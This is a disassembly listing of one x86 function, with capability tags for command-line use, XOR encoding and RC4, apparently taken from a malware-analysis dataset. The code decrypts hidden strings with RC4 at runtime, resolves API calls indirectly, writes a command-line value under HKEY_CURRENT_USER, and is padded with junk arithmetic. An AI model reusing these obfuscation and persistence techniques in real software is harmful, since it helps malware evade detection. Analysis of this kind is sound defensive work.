Function at 0xc56f32
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
mov esi, dword [0xc786ac]
push edi
mov dword [ebp - 0x28], edx
xor edi, edi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0x3bde309
mov dword [ebp - 0x18], 0x3d3dc2dd
mov dword [ebp - 0x14], 0x77299220
mov dword [ebp - 0x10], 0xd648df34
mov dword [ebp - 0xc], 0xee73c318
mov dword [ebp - 8], 0x703d4ee
mov ecx, esi
call fcn.00c56618
xor esi, 0x35b8ce86
inc edi
cmp byte [edi + 0xc73ec0], 0
jne 0xc56f76
push esi
push esi
mov edx, str.value_too_large
mov dword [0xc786ac], esi
call fcn.00c56941
mov eax, dword [ebp - 0x28]
pop ecx
pop ecx
cmp eax, edi
jae 0xc56fca
mov ecx, esi
cmp eax, 0x1c12
jne 0xc56fb7
lea ecx, [esi + 0x3bdf20c2]
inc eax
lea esi, [ecx + 0x9b49b51]
mov ecx, esi
cmp eax, edi
jb 0xc56faa
mov dword [0xc786ac], esi
mov esi, 0xc6f51c
lea edi, [ebp - 0x70]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x180], al
inc eax
cmp eax, 0x100
jb 0xc56fdb
xor esi, esi
push 0xa
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x180]
mov eax, esi
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x70]
add eax, edi
add ecx, eax
movzx edi, cl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov al, byte [ebp + edi - 0x180]
mov byte [ebp + esi - 0x180], al
inc esi
mov byte [ebp + edi - 0x180], bl
cmp esi, 0x100
jb 0xc56fec
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x180]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x180]
mov byte [ebp + edi - 0x180], al
mov byte [ebp + ebx - 0x180], cl
movzx eax, byte [ebp + edi - 0x180]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x180]
xor al, byte [ebp + esi - 0x1c]
mov byte [ebp + esi - 0x19c], al
inc esi
cmp esi, 0x18
jb 0xc57035
lea eax, [ebp - 0x24]
mov dword [ebp - 0x80], 0xf000
push eax
push 1
xor ebx, ebx
lea edx, [ebp - 0x19c]
push ebx
push dword [ebp - 0x20]
mov byte [ebp - 0x184], bl
push 0x80000001
push 6
pop ecx
mov dword [ebp - 0x24], ebx
call fcn.00c4ba1b
call eax
test eax, eax
jne 0xc5761d
mov esi, 0xc6f258
mov dword [ebp - 0x54], 0x948bf2a9
lea edi, [ebp - 0x6c]
mov dword [ebp - 0x50], 0xe49277ab
mov dword [ebp - 0x4c], 0xbefab432
mov dword [ebp - 0x48], 0x1903a595
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x44], 0x9f243230
mov dword [ebp - 0x40], 0x1bfbdbd5
mov dword [ebp - 0x3c], 0x2ec29c7c
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], 0x36f6fc88
mov dword [ebp - 0x34], 0x6792b69e
mov dword [ebp - 0x30], 0x8327ce88
movsb byte es:[edi], byte [esi]
mov edi, dword [0xc786ac]
mov esi, 0xc73ec0
mov dword [ebp - 0x2c], 0x57999b0c
push 0xc7863c
call fcn.00c56a34
xor edi, 0x93d29c8c
inc esi
pop ecx
cmp byte [esi], bl
jne 0xc57121
mov eax, ebx
mov byte [ebp + eax - 0x180], al
inc eax
cmp eax, 0x100
jb 0xc57139
imul ebx, edi, 0x29e0f89c
xor esi, esi
mov dword [ebp - 4], ebx
mov ebx, esi
mov dl, byte [ebp + esi - 0x180]
mov eax, esi
and eax, 7
movzx ecx, dl
movzx eax, byte [ebp + eax - 0x6c]
add eax, ebx
add ecx, eax
movzx ebx, cl
mov al, byte [ebp + ebx - 0x180]
mov byte [ebp + esi - 0x180], al
inc esi
mov byte [ebp + ebx - 0x180], dl
cmp esi, 0x100
jb 0xc57155
mov ebx, dword [ebp - 4]
xor eax, eax
xor ebx, 0xb974f289
inc eax
cmp byte [eax + 0xc73f00], 0
jne 0xc57193
cmp eax, 0x1bc1
jae 0xc571bf
xor ebx, 0x1ce5fe78
mov edx, 0xc6f560
push ebx
push ebx
call fcn.00c56941
pop ecx
jmp 0xc571d5
push ecx
mov edx, 0xc73f00
imul ebx, ebx, 0x612f5771
mov ecx, 0xc735b0
call fcn.00c5623d
mov esi, 0xc7106c
lea edi, [ebp - 0x70]
xor edx, edx
and dword [ebp - 0x20], edx
and dword [ebp - 4], edx
movsd dword es:[edi], dword [esi]
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x20]
jmp 0xc571f1
mov edx, dword [ebp - 0x20]
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [ebp + esi - 0x180]
movzx edi, cl
push ecx
lea eax, [edi + edx]
movzx edx, al
mov dword [ebp - 0x20], edx
mov al, byte [ebp + edx - 0x180]
mov byte [ebp + esi - 0x180], al
mov byte [ebp + edx - 0x180], cl
mov edx, 0xc73ec0
mov ecx, 0xc6f500
call fcn.00c5623d
pop ecx
push 0x53
pop edx
xor ecx, ecx
cmp byte [ebp - 0x70], dl
jne 0xc57254
mov al, dl
test al, al
je 0xc57254
cmp byte [ebp + ecx - 0x70], 0
je 0xc57254
mov al, byte [ecx + 0xc73f01]
inc ecx
cmp al, byte [ebp + ecx - 0x70]
je 0xc5723c
movzx eax, byte [ebp + ecx - 0x70]
movzx ecx, byte [ecx + 0xc73f00]
sub ecx, eax
cmp ecx, 0xd43
jae 0xc57272
or ebx, 0xa84c652f
jmp 0xc57278
add ebx, 0x572b4ad6
movzx eax, byte [ebp + esi - 0x180]
mov ecx, dword [ebp - 4]
add eax, edi
movzx eax, al
mov al, byte [ebp + eax - 0x180]
xor al, byte [ebp + ecx - 0x54]
mov byte [ebp + ecx - 0x224], al
inc ecx
mov dword [ebp - 4], ecx
cmp ecx, 0x2c
jb 0xc571ee
push 0xe
pop ecx
mov esi, 0xc71f64
mov dword [ebp - 4], ebx
lea edi, [ebp - 0x60]
mov byte [ebp - 0x1f8], 0
xor eax, eax
rep movsd dword es:[edi], dword [esi]
cmp byte [ebp - 0x60], 0x53
mov dword [ebp - 0x20], eax
jne 0xc572e4
test dl, dl
je 0xc572e1
cmp byte [ebp + eax - 0x60], 0
je 0xc572e1
mov dl, byte [eax + 0xc73f01]
inc eax
cmp dl, byte [ebp + eax - 0x60]
je 0xc572c9
mov dword [ebp - 0x20], eax
push ebx
push ebx
mov edx, str.SrchPropertyStore
call fcn.00c56941
mov edi, dword [ebp - 0x28]
mov esi, dword [ebp - 0x20]
pop ecx
pop ecx
cmp edi, esi
jae 0xc5732a
push 0xc73ec0
call fcn.00c56a34
pop ecx
cmp edi, 0x18c4
jne 0xc5731c
and ebx, 0x25267a74
mov ecx, ebx
call fcn.00c56618
or ebx, 0x1f0b5175
inc edi
cmp edi, esi
jb 0xc572fc
mov dword [ebp - 4], ebx
push 0x15
pop ecx
mov esi, 0xc73608
mov dword [ebp - 0x1c], 0xf99f6ba2
lea edi, [ebp - 0x1f4]
mov dword [ebp - 0x18], 0x8d301b38
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x14], 0x95306923
mov dword [ebp - 0x10], 0xf73448e
mov dword [ebp - 0xc], 0x9765b5dd
movsb byte es:[edi], byte [esi]
xor edi, edi
mov dword [ebp - 8], 0xd782a0a3
xor eax, eax
mov byte [ebp + eax - 0x180], al
inc eax
cmp eax, 0x100
jb 0xc57369
xor esi, esi
xor edx, edx
mov bl, byte [ebp + esi - 0x180]
push 0x54
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x1f4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x180]
mov byte [ebp + esi - 0x180], al
inc esi
mov byte [ebp + edi - 0x180], bl
cmp esi, 0x100
jb 0xc5737a
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x180]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x180]
mov byte [ebp + edi - 0x180], al
mov byte [ebp + ebx - 0x180], cl
movzx eax, byte [ebp + edi - 0x180]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x180]
xor al, byte [ebp + esi - 0x1c]
mov byte [ebp + esi - 0x44], al
inc esi
cmp esi, 0x18
jb 0xc573c0
mov eax, dword [ebp - 4]
mov ecx, 0xc73f00
xor eax, 0xa2e6c21
inc ecx
cmp byte [ecx], 0
jne 0xc57415
xor ebx, ebx
mov ecx, 0xc73ec0
mov byte [ebp - 0x2c], bl
add eax, 0xd0a905b4
inc ecx
cmp byte [ecx], bl
jne 0xc5742a
mov dword [0xc786ac], eax
lea edx, [ebp - 0x224]
lea eax, [ebp - 0x80]
push eax
push dword [ebp + 8]
push ebx
push ebx
push dword [ebp - 0x28]
push dword [ebp - 0x24]
push 6
pop ecx
call fcn.00c4ba1b
call eax
test eax, eax
jne 0xc57603
push 0xf
pop ecx
mov esi, 0xc6ff90
lea edi, [ebp - 0x1dc]
rep movsd dword es:[edi], dword [esi]
mov cl, byte [0xc7863c]
mov eax, ebx
mov ebx, dword [0xc786ac]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x1dc]
jmp 0xc574b4
test cl, cl
je 0xc574b9
cmp byte [ebp + eax - 0x1dc], 0
je 0xc574b9
push ebx
push ebx
mov edx, 0xc70000
call fcn.00c56941
mov eax, dword [ebp - 4]
inc eax
pop ecx
pop ecx
mov cl, byte [eax + 0xc7863c]
cmp cl, byte [ebp + eax - 0x1dc]
mov dword [ebp - 4], eax
je 0xc57487
mov ecx, ebx
call fcn.00c56618
mov ecx, dword [ebp - 4]
movzx eax, byte [ebp + ecx - 0x1dc]
movzx ecx, byte [ecx + 0xc7863c]
sub ecx, eax
cmp ecx, 0x11a0
jbe 0xc574e4
add ebx, 0x9e4da26
jmp 0xc574ea
and ebx, 0xc8078e69
mov esi, 0xc6f32c
mov dword [ebp - 0x1c], 0xee6596e0
lea edi, [ebp - 0x74]
mov dword [ebp - 0x18], 0xbdbd62df
xor ebx, 0x841b2994
mov dword [ebp - 0x14], 0x22e4d089
mov dword [ebp - 0x10], 0x3db21d1f
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], 0xab3b8ef8
mov dword [ebp - 8], 0x6895687d
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor edi, edi
xor eax, eax
mov byte [ebp + eax - 0x180], al
inc eax
cmp eax, 0x100
jb 0xc5752b
mov ecx, ebx
call fcn.00c56618
mov eax, 0xc73f00
or ebx, 0xaa7c5371
inc eax
cmp byte [eax], 0
jne 0xc57546
mov dword [0xc786ac], ebx
xor esi, esi
xor edx, edx
mov bl, byte [ebp + esi - 0x180]
push 0xd
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x74]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x180]
mov byte [ebp + esi - 0x180], al
inc esi
mov byte [ebp + edi - 0x180], bl
cmp esi, 0x100
jb 0xc5755a
xor ebx, ebx
xor edi, edi
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x180]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x180]
mov byte [ebp + edi - 0x180], al
mov byte [ebp + ebx - 0x180], cl
movzx eax, byte [ebp + edi - 0x180]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x180]
xor al, byte [ebp + esi - 0x1c]
mov byte [ebp + esi - 0x7c], al
inc esi
cmp esi, 0x18
jb 0xc5759d
push dword [ebp - 0x24]
lea edx, [ebp - 0x7c]
mov byte [ebp - 0x64], 0
push 6
pop ecx
call fcn.00c4ba1b
call eax
xor eax, eax
inc eax
jmp 0xc5761f
push dword [ebp - 0x24]
and dword [0xc786ac], 0xe7ae9980
lea edx, [ebp - 0x44]
push 6
pop ecx
call fcn.00c4ba1b
call eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret